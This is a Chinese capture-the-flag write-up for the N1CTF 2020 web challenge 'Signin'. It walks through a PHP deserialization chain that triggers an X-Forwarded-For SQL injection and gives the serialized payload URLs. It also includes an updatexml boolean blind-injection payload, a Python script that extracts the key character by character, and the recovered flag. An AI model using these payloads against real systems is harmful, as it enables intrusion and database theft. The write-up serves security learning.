N1CTF-WEB
Signin
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
getflag(),需要获取一个key值,读取/flag,使用的是全等于,所以应该需要在其他地方找到这个key值。
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
代码很短,第一感觉能获取到key值的地方就是ip类中的__toString()方法,这里面通过sprintf拼接sql语句后放入数据库中执行,且拼接语句中的$_SERVER['HTTP_X_FORWARDED_FOR']我们可以通过在HTTP头添加XFF来控制。需要找到一个地方触发ip类的__toString()方法,然后添加XFF就能实现注入了。
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
在flag类的__wakeup()方法中看到stristr(),这个方法是忽略大小写版本的strstr,即忽略大小写的字符串查找。并且如果stristr()中的参数为实例化对象时,会调用__toString()来转换成字符串。而正好这个stristr()的$this->ip我们可以使用反序列化来控制,那么就可以通过将$this->ip设置成new ip()来调用ip类的__toString()方法。首先生成序列化数据:
$f = new flag(new ip());
echo serialize($f);
构造反序列化http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22;1:{s:2:%22ip%22;s:9:%22127.0.0.1%22:}s:5:%22check%22:N;}

我们控制调用ip类__toString()的地方,是在__toString()return结果中查找字符串n1ctf。
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
我们可以通过利用__toString()会返回sql执行报错信息这一点,用报错注入来控制报错信息中出现n1ctf即可。
payload:X-Forwarded-for: ' or updatexml(1,concat(0x7e,(select if((1=1),'n1ctf',0)),0x7e),1) or '
if为真时,返回n1ctf,__wakeup()的stristr()查询到n1ctf在页面中打印welcome to n1ctf2020,if为假时返回noip,妥妥的布尔盲注。

接下来上大佬的脚本跑key值
# coding: utf-8
import requests
word = '1234567890qwertyuioplkjhgfdsazxcvbnm'
url = 'http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}'
for a in range(1,50):
for ch in word:
payload = f'\' or updatexml(1,concat(0x7e,(select if((substring((select `key` from n1key),{a},1)=\'{ch}\'),\'n1ctf\',0)),0x7e),1) or \''
sess = requests.session()
head = {'X-Forwarded-for': payload}
resp = sess.get(url, headers=head)
if '<code>welcome to n1ctf2020</code>' in resp.text:
# print(str(a) + ': ' + ch)
print(ch, end='')
得到key值为n1ctf20205bf75ab0a30dfc0c然后继续构造payload=http://101.32.205.189/?input=O:4:%22flag%22:2:{s:2:%22ip%22;O:2:%22ip%22:1:{s:2:%22ip%22;N;}s:5:%22check%22;s:25:%22n1ctf20205bf75ab0a30dfc0c%22;}

n1ctf{you_g0t_1t_hack_for_fun}

浙公网安备 33010602011771号